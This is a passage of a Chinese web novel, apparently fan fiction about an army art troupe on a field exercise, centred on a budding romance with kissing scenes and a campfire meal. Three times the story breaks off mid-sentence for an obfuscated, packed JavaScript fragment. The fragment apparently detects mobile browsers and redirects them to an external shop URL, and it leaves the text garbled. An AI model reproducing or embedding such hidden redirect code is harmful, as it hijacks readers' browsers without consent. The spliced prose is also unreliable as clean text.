作为从现代过来的人,她见多了开发过度的景区,少的就是这种原始天然、没有人工雕琢的自然。
懒归懒,可这样的清晨,错过实在可惜。
她叹口气,还是慢慢坐起身:“行了,被你说得心动了,我跟你一块儿出去。”
萧穗子一笑,又怕被别人听见,连忙压低声音:“真的?那快些吧,等会儿太阳就高了。”
两人一前一后走出帐篷。
萧穗子心不在焉地往男兵帐篷那边走,眼底藏着期待;兆悦则是真的往旷野去,想好好吸一口干净的空气。
没一会儿,陈灿从帐篷里走了出来。
他昨晚几乎没怎么睡踏实。
先是自己懊恼,后来又听同帐篷的男兵夜聊,有人打趣说,文工团里那几对走得近的,一到拉练就往小树林、靠山边的地方钻,僻静又安全,谁也看不见。
一句话,直接把他点醒了。
依山傍水,到处都是僻静地方,他昨天居然只知道在路边干站着,跟傻子一样。
想通的瞬间,他又气自己又有点开窍后的燥意,一整晚睡得不踏实,早上起来本就带着点没睡醒的沉郁。
萧穗子看见他,立刻上前,心跳都快了半拍,轻声喊住他:“陈灿。”
陈灿没有停下脚步,抬眼看向她。
“你也这么早。”萧穗子小声开口。
“嗯。”他只淡淡应了一声。
萧穗子想再找些话说,陈灿却先一步开口,语气客气又疏离:“我还有事,先走了。”
不等她再接话,他脚步没停,糊弄两句就径直往前走,目光已经下意识往远处寻去。
他目光一抬,整个人忽然顿在原地。
不远处的旷野上,兆悦正站在秋日清晨的柔光里。
她嫌厚重的军大衣裹着累赘,随手一脱便丢在了草地上,只穿着内里利落的军装,迎着微凉的风轻轻往前小跑了几步。
刚过肩的中长发没扎,松松垂着,被风一吹,软软扬起,发丝掠过脸颊,干净又轻盈。
她微微张开双臂,迎着漫无边际的平原晨风,整个人舒展得像融进了天光里。
天是淡而透亮的蓝,草叶沾着露水,晨光落在她肩头、发梢,连影子都温柔得不像话。
陈灿一下子看怔了。
他骨子里本就不是死板的人,干部子弟,爱听歌,爱藏几盘珍贵的磁带,懂情调,也藏着不轻易示人的浪漫。
眼前这一幕没有半分刻意,却恰好撞在他最心动的地方——自由、带着浪漫的情调,像一首没说出口的轻歌。
他放轻脚步,悄声走过去,弯腰捡起她丢在地上的军大衣,指尖仔细拍掉上面的草屑与薄尘,轻轻搭在自己臂弯里,动作温柔又自然。
他就站在几步之外,安安静静看着,连呼吸都放轻。
生怕一出声,就打碎了这幅画。
直到兆悦慢慢停下脚步,回过头,一眼便看见了他。
四目相对的瞬间,风都慢了下来。
陈灿这才缓缓走上前,眼底还盛着刚看完一整幅美景的迷恋。
兆悦看着他臂弯里自己的大衣,忍不住弯了弯眼,先开了口:“你怎么在这儿?”
“刚出来,”他声音比晨风还轻,目光落在她脸上,“刚好看见。”
兆悦笑了笑,没再多问。
不用多说,彼此都懂。
她重新转回头,迎着风轻轻舒了口气:“这里的早晨,比我想的还要好看。”
陈灿站在她身侧,没靠太近,却分寸刚好,目光陪着她望向辽阔的平原:“嗯,没人打扰。”
他顿了顿,又轻轻补了一句,声音低得只有两人能听见:“今晚,我带你去更安静的地方。”
兆悦侧头看他一眼,眼底带着一点了然的笑意。
一夜不见,这人好像……突然开窍了。
这一开窍,简直像是换了个人。
中午吃饭时,食堂里人挤人,陈灿明明可以从旁边绕过去拿勺子,偏偏要贴着她身后轻轻擦过,手臂若有似无蹭过她的肩,动作自然得像是无意,只有两人心里清楚,是故意的。
兆悦斜他一眼,他只当没看见,唇角压着一点浅淡的笑意。
到了下午,大伙儿都在外头打闹玩乐,难得拉练放松,到处都是笑闹声。
陈灿却找了个空子,拉着兆悦躲进了没人的空营帐,捡了几块红苕在炭火边慢慢烤。
香气一点点漫出来,暖烘烘的。
兆悦捧着烤得烫手心的红苕,小口小口啃得认真,没一会儿,嘴角就沾了点淡淡的薯泥。
她还没来得及擦,陈灿已经伸手过来。
指腹轻轻蹭过她的嘴角,把那点甜软沾走,然后自然地收回手,指尖一弯,直接送进了自己嘴里。
动作流畅得不像话,明目张胆,又带着点坏。
兆悦脸微微一热,瞪他:“你怎么越来越油腻了。”
陈灿看着她,眼尾都带着笑,声音低低的,意有所指:“不油啊。”
“是甜的。”
他说得坦荡,眼神直直落在她脸上,分明是在说红苕,又分明是在说别的。
营帐外是热闹的风,帐内是暖烘烘的炭火香。
天色刚擦黑,天边还留着一点浅紫的落日余晖,营地的灯还没完全亮起来。
陈灿果然半点都按捺不住。
趁着旁人还在扎堆说话、收拾东西的空隙,他几步绕到兆悦身边,也不声张,只是伸手轻轻碰了碰她的手腕,指尖带着急切。
不等她开口,陈灿已经微微俯身,声音压得又低又轻,只往她耳朵里钻:“走。
他没多解释,也没大动作,只是朝她轻轻偏了下头,示意她跟着自己。
随即率先迈步,刻意与她保持着一点距离,一前一后,避开人来人往的营地主路,绕到靠山一侧,往僻静又茂密的小树林里走。
陈灿走在前面,脚步不算慢,带着几分按捺不住的急切,却又时刻留意着身后的她,确保她能跟上。
像是怕晚一秒,就错过了这整片只属于他们的安静。
两人一前一后走进小树林,天色已经彻底沉了下来,树影将他们裹得严实。
他们早有过亲昵的瞬间,此刻不必多说,相处便多了几分不必掩饰的自然,少了生涩的拘谨。
其实这趟拉练,文工团里早藏着不少心照不宣的情愫。
林丁丁和摄影干事更是大胆,上回慰问演习部队时,四下无人,摄影干事就轻轻亲了她的脸颊,林丁丁垂着眼没躲,也没拒绝,脸颊微红,算是默认了那份亲近。
其他走得近的男男女女,心里或多或少都藏着冲动,只是碍于规矩与身份,谁都守着最后一道底线,至于亲近到哪一步,全看各自心意。
而陈灿和兆悦之间,早已是浓得化不开的暧昧。
树林里光线渐暗,草木气息浓重。
两人一前一后走得深了些,四下彻底安静,连营地的喧闹都听不见了。
兆悦索性往树干上一靠,姿态随意,却格外勾人。
陈灿几步走近,站得离她很近。
两人一时都没说话,气氛安静又发烫。
兆悦抬眼看他:“你还能找到这个地方。”
“听他们说的。”陈灿低声回,目光落在她脸上,亮得很。
兆悦微微抬了抬下巴,直白又坦荡:“那你想干嘛?”他往前又凑近了一点,视线落在她眉眼上,不肯移开。
“不想干嘛。”他顿了顿,声音放得更轻,“就想跟你待一会儿。”兆悦抬着眼望他,夜色把两人的轮廓都揉得软了。
她没躲,也没退,就这么靠着树,任由他盯着。
明明什么都没做,那股暧昧劲儿却缠得人紧。
陈灿喉结轻轻动了一下。
夜色朦胧,风从树叶间穿过去,带着草木清清凉凉的气息,四周安静得只剩下两人浅浅的呼吸声。
“好不容易找到这么个地方。”
他开口,声音压得很低,沉而磁性,每一个字都轻轻落在她耳边,“当然要好好利用。”
兆悦非但没退,反而迎着他的目光笑了,语气里带着几分不服输的挑逗,直接把话抛回去:“哦?那你打算……怎么利用?”
他不再克制,往前再靠近半步,几乎贴着她站定,气息轻轻落在她额间。
“你说呢。”
他声音低哑,带着笃定的笑意,一只手轻轻贴在她身侧的树干上,把人稳稳圈在怀里与树之间,动作强势。
“好不容易把人带到这儿。”
他视线落在她唇角,眼神又沉又烫,
“当然是……做点该做的事。”他嘴上再会撩,真到了这无人的小树林、近在咫尺的距离,整个人反而顿了半拍。
手还撑在树干上,呼吸轻了,眼神烫了,可动作却莫名顿住。
可兆悦不一样。
她看着他明明眼底烧得厉害,却偏偏僵着不动的样子,眼底笑意更深。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309119|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>不等他再找话撑场面,她直接抬手,手臂一伸,轻轻揽住了他的脖子。
这一下干脆又直接,陈灿整个人都僵了一瞬,下一秒便不再克制,伸手稳稳回抱住她,两人紧紧贴在一起,呼吸瞬间缠在了一起。
四下安静得只剩彼此的心跳,一声重过一声。
他低头,与她深深对视。
兆悦抬着眼,目光先落在他眼底,片刻后,慢悠悠、毫无遮掩地移到了他的唇上。
那眼神太直白,太明显。
陈灿脑子“嗡”的一下,瞬间上头。
所有的青涩、拘谨、犹豫,全被这一眼烧得干干净净。
他呼吸一乱,控制不住地微微低头,朝着她慢慢靠近。
就在唇瓣即将相触的瞬间——兆悦忽然抬起一根手指,轻轻抵在了他的唇上。
止住了他所有的动作。陈灿整个人一下子就懵了,动作僵在半空,眼神里全是不知所措。
他喉结滚了滚,又慌又乱,心里直打鼓——
是他会错意了?是他太急了?是她不高兴了?
眼底的热切瞬间掺进了几分无措,愣愣地看着她。
兆悦却只是看着他,笑得眼角弯弯,眼里明晃晃全是逗弄。
她慢慢收回抵在他唇上的手指,轻轻一收。
紧接着,她微微偏头,故意轻轻咬了咬下唇。
眼底的无措瞬间被滚烫的冲动取代,呼吸又乱又重,连耳根都红透了。
他盯着她的唇,又抬眼看向她带笑的眼睛,声音哑得不成样子,带着点轻喘,一字一顿:“……你故意的。”
他喉结狠狠滚了一下,手臂不自觉收紧,把人抱得更紧了些,眼底又慌又烫,全是藏不住的在意:
“你明明知道,我扛不住。”
兆悦看着他又慌又烫的模样,笑意更深,故意装傻,轻声反问:“扛不住什么?”
一句话,轻飘飘的,却直接把陈灿逼到了临界点。
都到了这个份上,话已经挑得明明白白,空气里全是烫人的暧昧,再也没有半分退路。
陈灿被她一句“扛不住什么”逼得眼底发红,呼吸又乱又沉,抱着她的手臂越收越紧,几乎将她整个人揉进怀里。
他再也忍不下去,也不想再忍。
不等兆悦再开口逗弄,他低下头,带着几分失序的急切,轻轻吻了上去。
没有任何技巧,真的就只是嘴唇轻轻贴在一起,僵硬又青涩,脑子里一片空白,只剩下唯一的念头:好软。
他整个人都僵着,连呼吸都忘了,只会呆呆贴着,不敢动,也不知道该怎么动。
双臂紧紧抱着她,力道大得像是要把她嵌进自己怀里,却又在唇齿相触的瞬间,变得小心翼翼,连呼吸都放得极轻,生怕惊扰了这一刻。
兆悦被他这副笨拙又认真的样子逗得心底发笑。
她非但没躲,反而微微抬了抬下巴,主动往他怀里靠得更紧,舌尖极轻、极慢地蹭过他的唇瓣,只一下,轻得像羽毛,却足以点燃一切。
陈灿浑身猛地一颤,像被电流窜过全身,从头顶麻到脚底,抱着她的手臂瞬间收紧,喉间溢出一声压抑不住的轻喘。
原本只会僵硬贴着的唇,下意识地、笨拙地跟着她的力道轻轻动了一下,生涩却虔诚,带着全然的不知所措,又带着藏不住的贪恋。
兆悦看着他紧闭着眼、睫毛轻颤、耳根红得快要滴血的模样,心底的笑意更浓,却没有就此放过他。
她轻轻含住他的下唇,微微用了点力,磨了磨。
陈灿胸膛剧烈起伏,却只能被动地承受着她所有的逗弄。
他只会紧紧抱着她,任由她主导一切,感受着唇齿间温柔又滚烫的触碰,脑子里一片混沌。
她微微抬手,指尖扣住他的后颈,轻轻往自己这边一带,加深了这个吻。
他根本无从招架,更别说反抗。
所有的呼吸、所有的心跳、所有的感官,全都被她占据。
兆悦的指尖轻轻摩挲着他后颈的肌肤,唇上的动作却愈发勾人,时轻时重,时慢时急,像一阵细密的热浪,裹得他喘不过气。
下一秒,却又微微退开半寸。
只是一点点距离,近得呼吸还缠在一起,远得偏偏碰不到。
陈灿刚陷进,骤然一空,整个人都慌了,睫毛猛地一颤,下意识就想追上去。
可兆悦偏偏不给他。
她看着他眼底翻涌的慌乱与渴求,唇角弯着,又轻轻凑上去,浅浅啄了一下。
轻得像羽毛。
勾得人心里发痒。
然后再退一点。
再凑上去,再吻一下。
唇齿分离的瞬间,陈灿整个人都晃了晃,只能死死抱着她才勉强站稳。
他大口喘息着,胸膛剧烈起伏,气息又乱又烫,他连话都说不出来,只能低头抵着她的额头,粗重地喘着。
唇瓣微微泛红,还残留着被反复亲吻过的红肿。
38. 被动
陈灿已经忘了自己是怎么挪回营帐的。
耳边战友们的说笑、脚步声、碗筷碰撞的细碎声响,全成了模糊一片的背景音,他一句也没听进去,只机械地跟着队伍走,魂儿早飘在了方才那片幽暗又发烫的角落里。
一闭眼,兆悦的唇、她故意退开又凑近的模样、呼吸缠在一起的温度,便密密麻麻涌上来,占满他所有思绪。
他躺进营帐里,闭着眼,翻来覆去,心尖像被细羽毛一遍遍撩着,烫得发慌。
究竟是怎么睡过去的,他自己也说不清,只知道意识沉下去的那一刻,满世界都是她。
梦里是一片温柔得不像话的晨光。
兆悦就站在不远处的草地上,沐浴在金灿灿的光线里,一会穿着第一次来到文工团的裙子,一会又是军装,正往前轻快小跑,裙摆与发丝一同被风扬起。
阳光碎落在她飞扬的发梢,镀上一层朦胧柔和的光晕,干净得像一幅不敢触碰的画。
她像是忽然察觉到什么,缓缓回头,眉眼弯弯,笑靥比朝阳还要耀眼。
那画面美好得让他心口发颤。
这一次,陈灿再不是小树林里那个呆头呆脑、青涩无措的少年。
他大步上前,在她怔愣的瞬间伸手扣住她的后颈,低头便吻了上去。
不再僵硬,不再躲闪,他学着她昨夜的模样,轻轻含住她的唇,缓慢地碾磨、轻啄、试探,带着梦里才敢放肆的滚烫与贪恋,一点点加深这个吻。
指尖顺着她的腰侧稳稳揽住,将人紧紧贴向自己,力道里藏着压抑许久的急切。
两人不知何时跌坐在柔软的草地上,又顺着草坡轻轻滚了一圈。
梦里的他,比现实里大胆太多。
指尖抚过她后背细腻的布料,隔着一层薄薄的衣料,能触到她温热的肌肤轮廓,顺着腰线轻轻下滑,又小心翼翼地揽住,掌心贴着她的温度,真实得不像梦境。
呼吸交缠,心跳相贴,每一下触碰都带着克制不住的颤栗,温柔又放肆,缱绻又发烫。
等他猛地惊醒时,天已经蒙蒙亮。
营帐里静悄悄的,只有战友浅浅的呼吸声。
陈灿僵在床上,脸颊瞬间烧得滚烫,一片异样让他瞬间明白过来——他竟在梦里失了态。
他慌乱地坐起身,趁着天还没大亮,飞快地将床单被罩扯下来,抱在怀里往营帐外走,只想赶紧洗干净,藏起这桩羞得抬不起头的心事。
同住一个帐篷的杭春明被动静吵醒,揉着眼睛看他一通忙活,只当是陈灿近来爱干净了,笑着打趣了两句,也没多想。
这事没过多久,杭春明见着兆悦,便随口当成趣事说了:“你不知道,陈灿最近可讲究了,一大早就起来洗床单被罩,以前多朴素一小伙,现在倒好,半点不将就。我看啊,说不定是你平时太挑剔,把人家给带得也不艰苦朴素了。”
兆悦听得一怔,一脸无辜地抬眼:“我什么时候嫌过他?他爱干净是好事,怎么就成我带坏了?”
嘴上和杭春明若无其事地怼了几句,可兆悦话刚说完,眼神忽然顿了顿。
她想起前一天傍晚那番拉扯,想起陈灿当时慌乱失神的模样,再联想到他大清早反常地洗床单被罩……
兆悦垂在身侧的指尖轻轻蜷了蜷,眼底飞快掠过一丝笑意,又迅速压下去。
她没再反驳,只低下头,唇角悄悄往上弯。
心里早已经笑得软成一片。
原来……他是这样放不下。
白日里再见面,陈灿反倒沉定如常,面上半点看不出昨夜的慌乱与梦中心猿意马。
依旧是那副清俊挺拔、分寸得当的模样,说话做事都规规矩矩,眼神坦荡得仿佛小树林里那个失控失神的人从不是他。
兆悦看在眼里,只悄悄弯唇,从不去戳破,也不拿话逗他。
再亲密,也得给他留足面子与隐私。
这日傍晚,文工团的少男少女们围坐在营地空地上歇息。
没有手机,没有网络,更没有短视频,消遣的方式少得可怜,可围坐在一起说笑唱歌,却比任何时候都要热闹有趣。
先是齐声高唱红歌,歌声清亮,穿透暮色。
等天色再暗一些,有人压低了声音,试探着哼起了悄悄流传的曲子。
大家不敢太过张扬,只压低嗓音,轻轻合唱,软绵的调子裹着晚风,格外撩人。
陈灿自然而然地坐在了兆悦身边,肩与肩隔着半寸距离,气息相闻。
一旁是郝淑雯和萧穗子,林丁丁则早占据了最显眼的位置,唱歌本就是她的主战场,此刻正扬着嗓子卖力表现。
摄影干事举着相机,殷勤地追着她拍,快门声不断。
兆悦平日里极少主动与郝淑雯搭话,此刻却忽然轻轻用胳膊拐了她一下,眼神往不远处瞟了瞟,示意她看——咱们的活雷锋。
郝淑雯何等精明,一眼便捕捉到刘峰望着林丁丁的方向,眼底藏不住的落寞与小心翼翼,登时心领神会,坏笑着起身凑到刘峰身边嘀咕了几句。
几句话下来,刘峰的头垂得更低,神色愈发落寞难堪。
兆悦轻轻叹了口气,刚收回目光,便撞进了身旁一道含笑的视线里。
陈灿正看着她,唇畔噙着浅淡的笑意,跟着众人低声哼唱,目光稳稳落定在她脸上,温柔又直白,一字一句都像落在她心尖上。
晚风卷着歌声拂过耳畔,兆悦心口猛地一动,耳尖悄悄发烫,难得露出几分少女的害羞,慌忙低下头,错开他的视线。
她能感觉到,那道目光还落在自己身上,温温的,亮亮的,带着毫不掩饰的欢喜。
似乎,两人之间的关系不再只是兆悦主导。
四下静得只剩风吹树叶的轻响,陈灿确认周围没人,胆子一下就壮了。
他不再犹豫,伸手一揽,稳稳地将兆悦搂进怀里,手臂收得很紧,带着一种久等了的笃定。
兆悦被他突如其来的力道圈住,只轻轻挑了下眉,心里还笑着,只当他是少年心急,并没太当回事。
可下一秒,陈灿便低下头,双手轻轻捧住她的脸,低头吻了上来。
不是之前那样青涩笨拙的触碰,这一次,他是真的照着梦里的画面、照着昨夜她对他的模样,一点点吻下来。
呼吸清冽,带着草木与少年独有的干净气息,沉稳又好闻,是只属于他的味道。
唇瓣相贴时,他没有急,也没有慌,而是轻轻碾过,耐心又认真,像是在用心感受她的温度、她的软、她的一切。
技巧算不上多娴熟,却胜在真诚又大胆,每一下都带着克制不住的在意。
原本还从容淡定的兆悦,被他这样一吻,呼吸渐渐乱了。
他的吻带着温度,带着力道,带着藏了一整晚的心思,一点点缠上来。
原本稳得住的心神,竟在这温柔又强势的亲吻里,慢慢失了分寸。
她靠在他怀里,被他牢牢抱住,无处可躲。
原本是她一直主导的节奏,这一刻,竟被他带得有些晕乎乎,整个人都轻了起来。
兆悦闭着眼,指尖不自觉攥紧了他的衣襟。直到兆悦被他吻得气息全乱,唇齿间被他细细描摹、轻轻含吮,整个人软在他怀里。
直到连呼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309120|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吸都接不上,只得抬手轻轻捶了捶他的肩背,陈灿才意犹未尽地松开她。
他眼底带着几分得逞的坏笑,唇角还沾着一点暧昧的湿意,看着她泛红的唇,心跳又快又得意。
兆悦喘着气,胸口轻轻起伏,原本的从容淡定早没了踪影,脸颊烫得厉害,索性不好意思地埋进他温热的胸膛,不肯抬头。
鼻尖全是他清冽干净的气息,耳边是他有力的心跳。
这一刻她才后知后觉地意识到——从前一直被她逗得手足无措的少年,如今早已悄悄翻了盘,她反倒快要招架不住了。
兆悦心头那点不服气倏地窜上来,凭什么次次都被他占了上风。
她抬手勾住他的脖颈,主动仰起头,狠狠吻了回去。
这一次,她不再只是浅尝辄止,唇瓣轻启,试探着越过他的齿间,第一次主动伸了进去,轻轻一碰、一勾。
陈灿浑身猛地一颤,背脊都绷直了,喉间溢出一声极轻的闷响,握着她腰的手骤然收紧。
感受到他瞬间的僵硬与失控,兆悦眼底飞快掠过一丝得意。
看吧,终究还是她拿捏得住他。
不过片刻,陈灿便回过神,近乎无师自通地迎了上来。
他不再是被动承受,反而抬手扣住她的后颈,微微俯身加深这个吻,舌尖稳稳迎上她的,轻轻一勾、一绕,力道沉而稳,温柔却不容挣脱地反客为主。
兆悦这才猛地想起——他是小号手,肺活量本就好得惊人。
一呼一吸都被他牢牢掌控,她很快便呼吸急促,原本的主动与嚣张,转眼就被他吻得溃不成军。
吻到最后,兆悦腿腹一阵发软,整个人几乎站不住,只能被他紧紧搂着,后背抵在粗糙的树干上。
她气息乱得不成样子,脸颊滚烫,又羞又恼,伸手轻轻抵在他胸口,喘着气定下规矩。
“不准再亲了。”
陈灿眼底还凝着未散的暗潮,闻言愣了愣,一脸无辜地低头看她,声音低哑又委屈:“凭什么啊……为什么不给亲了?”
兆悦怎么可能承认,自己是被他吻得招架不住、连气都喘不匀。
她偏过头,避开他灼热的视线,硬着头皮道:“我说不行就不行。”
“就亲一下都不行?”
“不行。”
“轻轻一下?”
“不行。”
两人就这么贴着树干小声讨价还价,一来一回,全是藏不住的打情骂俏。
兆悦嘴上凶,语气却软得一塌糊涂,半点威慑力都没有。
闹了一会儿,她不再说话,就这么靠在树上,被他牢牢圈在怀里,胸口贴着胸口,近得能数清他的睫毛。
陈灿低头,鼻尖轻轻蹭了蹭她的额头,声音又哑又黏:“那你说句喜欢我。”
兆悦耳尖一烫:“不说。”
“说一句嘛。”
“不说。”
“你不说,我就——”他故意顿了顿,低头作势又要吻下来。
兆悦慌忙偏头躲开,又气又笑,彻底拿他没办法,只能小声妥协,声音轻得像风:“……喜欢你。”
“没听清。”
“喜欢。”
“再清楚一点。”
她被逼得没办法,红着脸,认认真真重复了一遍:“我喜欢你,陈灿。”
话音落下,她自己先怔了一下。
曾经一直是她主动撩拨、她主导节奏,可现在,她被他搂在怀里,被他逼着说情话,连心跳都跟着他走。
兆悦轻轻闭了闭眼,心底无声叹了口气。
她是真的……彻底被动了。
39. 篝火
拉练第五天,团里组织了一场简短的小演出。
众人尽兴热闹一番,接下来两天便是难得的自由活动,不用训练、不用排练,营地都松快了不少。
兆悦是伴着陈灿的起床号醒的。
清亮的号声穿透晨雾,她一睁眼,嘴角就悄悄弯了弯。
早上她陪着何小萍练了会儿舞,何小萍跳得上了瘾,还想拉着兆悦多练一个钟头。
懒劲儿一上来,兆悦找了个借口就想溜。
谁知刚一转身,就直直撞进一堵温热结实的胸膛。
是陈灿。
他本就等在一旁,想伸手稳稳把人接住,可兆悦转身的惯性太大,两人重心一歪,竟双双跌坐在地上。
“唔——”
兆悦鼻子撞得发酸,眼泪都快被逼出来,捂着鼻子轻轻哼了一声,“痛……”
陈灿吓得心都提了起来,刚要伸手扶她,郝淑雯已经快步冲过来,抢先把兆悦拉起身,转头就对着陈灿怼:“陈灿你走路不看路的啊?这么大活人撞上去,你也不知道躲一躲!”
兆悦揉着鼻子,连忙替他辩解:“不关他的事,是我自己没留神,突然转身撞上去的。”
陈灿哪里还顾得上和郝淑雯拌嘴,满心满眼全是兆悦,想碰又不敢碰,急声问:“疼得厉害吗?有没有撞坏?”
“我帮你拍拍灰。”萧穗子也走了过来,嘴上对着兆悦,眼神却一直往陈灿那边飘。
郝淑雯把兆悦拉到一旁,仔细瞧了瞧,见只是鼻尖微微发红,没破皮没流血,才松了口气:“还好,就是有点红,问题不大。”
陈灿还想凑过来,萧穗子轻轻拦了一下,笑着对两人开口,目光却明显落在陈灿身上:“今天难得放松,等下……要不要去转转,看看有什么好玩的?”
陈灿一句也没听进去,干脆蹲在兆悦面前,反复确认她有没有事。
“你先起开,别在这儿挡着。”郝淑雯挥挥手。
兆悦也轻声道:“我真没事了,不怎么疼了。”
正闹着,杭春明兴冲冲地跑过来,嗓门响亮:“哎哎哎!都过来!刘峰他们几个出去转了一圈,打了好些野鸟、野鸡,还有兔子!今儿个咱们烤肉吃,都赶紧的!”
一听说有烤肉,营地瞬间热闹起来。
郝淑雯眼睛一亮,好久没沾过这么实在的荤腥,立刻拽着兆悦就要走,嘴上喊着两人,眼神却死死盯着陈灿:“吃饭不积极,思想有问题!你们俩别在这儿磨磨蹭蹭的,尤其是陈灿,快点!”
萧穗子也跟着对两人招手,笑得温温柔柔,话却是说给陈灿听的:“你们快过来吧,我帮你们抢块最大的,保证给你留最好的!”
两人一扭头,先跟着人群走了。
陈灿立刻抓住空隙,轻轻捏了捏兆悦的手,声音又低又歉疚:“都怪我,你真的没事吧?”
兆悦看着他紧张得不行的样子,忽然起了坏心思。
她立刻捂住鼻子,眉头一皱,小声哼哼:“好像……有点严重,感觉要流鼻血了。”
陈灿脸色“唰”地一下就白了,眼神都慌了,刚要伸手去碰,兆悦突然把手放下,两只手弯成爪子,凑到他面前“嗷呜”一声,像只调皮的小老虎。
是骗他的。
陈灿一怔,随即反应过来,又气又笑,眼底全是无奈的宠溺,就这么看着她故意逗自己。
这会儿,所有人都往烤肉的方向涌去,四周一时没人注意这边。
陈灿心尖一热,忽然低下头,嘴唇飞快地凑近,轻轻落在兆悦的脸颊和嘴角边。
轻柔一碰,像片羽毛扫过。
兆悦吓了一跳,整个人都僵了一下,慌忙左右看了看,生怕被人撞见,脸颊瞬间发烫,伸手轻轻拍了他一下。
“你疯了——”
兆悦又羞又急,飞快往人群方向瞟了一眼。
好在烤肉的吸引力很大。
陈灿眼底含着笑,也不敢再放肆,只默默收回手,两人装作互不干涉的样子,一前一后跟着人流往前走,却始终保持着不远不近的距离,一抬眼就能看见彼此。
就这么伴着阵阵肉香,安静又默契地走向热闹处。
大家围在几堆篝火旁,三五成群,形成好几个松散的小圈子。
陈灿自然而然往兆悦那边走,心里还盘算着稍微坐远一点避嫌,可刚挨着她身边站定,郝淑雯“咚”地一屁股就挤在了两人中间,大大咧咧谁也拦不住。
萧穗子见状,只好挨着陈灿另一边坐下。
陈灿坐得浑身不自在,干脆起身,去帮着烤肉。
鸡肉、野鸟、兔肉在火上滋滋冒油,香气飘得满营地都是,谁都眼馋。
他心里全程惦记着兆悦,特意挑了一截最嫩的兔腿,守在火边慢慢烤,烤得油亮金黄,又仔细撒上佐料。
他嘴上想着,就借早上撞疼她的名义给她,可心里——他就是想把最好的那一口,先留给她。
刚要转身递过去,杭春明已经凑了上来,手一伸就把那只兔腿接了过去,大大咧咧咬了一大口,嚼得香,语气平平淡淡地提醒了一句:“她不吃兔子肉。”
说完就自顾自啃着肉走开了,没有半点指责,也没有多问,就好像是随口说了一句话。
就这一句,轻飘飘的,却像块小石头,直直砸进陈灿心里。
他握着空着的手一顿,心里忽然泛起一阵细微又清晰的涩。
原来,他对她的在意,还停留在自己以为好的东西上,连她不吃什么都不知道。
对她的了解,实在太少,太浅了。
陈灿没再说话,默默重新挑了一只最饱满的烤鸡腿,烤得外焦里嫩,仔细撒好调料,这才递到兆悦面前,声音放轻,假模假样:“早上的事,对不起。”
兆悦也装模作样说没关系,谢谢。
他自己也顺手拿了块烤肉,等再想坐回原来的位置,却发现兆悦身边已经坐了何小萍,位置挤得满满当当。
他只好在何小萍旁边坐下,隔着一个人,一边吃着手里的肉,一边安安静静望着兆悦。
看她小口啃着香喷喷的鸡腿,自己也吃得有滋有味,心里更是甜得不行。
篝火边的气氛热闹又松弛。
郝淑雯抢了个油滋滋的大鸡腿,啃得格外香。萧穗子安安静静坐在一旁,手里拿着一小块鸡翅,慢慢吃着。
刘峰走过来,主动递了一根翅根给她,萧穗子抬头笑了笑,轻声说了句谢谢。
林丁丁也走了过来,她一向习惯了刘峰的照顾,此刻反倒有些不自在,站在旁边没说话。
萧穗子笑着和林丁丁搭话,目光却时不时悄悄飘向陈灿那边。
见陈灿手里的肉吃完了,也没再去拿,萧穗子心里一动,起身走到烤肉架旁,轻轻扯下一块兔肉,走过去递到他面前。
“给你。”
陈灿愣了一下,犹豫一下还是伸手接了,客气道:“谢谢。”
话音刚落,郝淑雯立
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309121|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刻凑了过来,心里藏着点小算盘,嘴上却故作调侃:“穗子,你可真偏心,就想着别人,我还没吃好呢。陈灿,把肉让给我。”
陈灿本来就对这块肉没什么执念,都是一个队的,没必要弄得难看。可郝淑雯这么一开口,他便顺手把肉递了过去。
郝淑雯接过肉,嘴角忍不住微微上扬,心里悄悄得意。
看吧,她给你的,我一句话,你就给我了。
萧穗子站在一旁,默默擦了擦手,指尖不自觉地攥紧了一瞬。
只是她脸上依旧没露出半点异样,和郝淑雯说说笑笑,看上去还是和往常一样要好。
林丁丁最是深谙男女之间的这些弯弯绕,一眼就瞧出了萧穗子和郝淑雯那点没摆在明面上的龃龉,只在一旁似笑非笑,既不做出头鸟,也不当和事佬。
兆悦啃完一个鸡腿,只觉得满嘴油腻,便没再吃了。
她起身轻轻拍了拍何小萍,示意自己先走。
何小萍正吃得香,头也没抬地应了一声。
兆悦一离开,陈灿便再也坐不住了。他起身走到杭春明身边,随口说了句:“吃饱了,去趟厕所。”
郝淑雯她们听得真切,也没多想。
萧穗子却立刻站起身,想追上去问问他没吃几口怎么就饱了,是不是不合胃口,可刚一动,就被郝淑雯和林丁丁不动声色地拦了下来。
这倒正好给了陈灿机会。
他绕了个小弯,悄悄跟着兆悦进了营帐。
她正弯腰洗手擦嘴,嘴角还沾着一点没洗干净的油腻。
陈灿走过去,在她身旁安静坐下,就这么看着她。
兆悦头也没抬,淡淡一句:“过来。”
